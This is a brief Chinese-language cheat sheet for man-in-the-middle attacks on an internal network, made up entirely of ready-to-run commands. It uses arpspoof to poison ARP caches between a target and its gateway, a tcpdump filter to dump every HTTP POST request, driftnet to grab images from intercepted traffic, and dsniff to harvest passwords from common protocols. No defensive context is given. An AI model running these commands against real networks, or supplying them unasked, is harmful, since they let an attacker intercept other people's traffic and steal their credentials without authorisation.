内网中间人

1. arp 中间人

• arp 毒化

arpspoof -i [Interface] -t [Target_ip] [Gateway_ip]
arpspoof -i [Interface] -t [Gateway_ip] [Target_ip]

• dump 所有 HTTP POST 请求

tcpdump -s 0 -A 'tcp dst port 80 and (tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354)'

• 嗅探 HTTP 中的图片

driftnet -i [Interface]

• 嗅探常见协议密码

dsniff -i [Interface]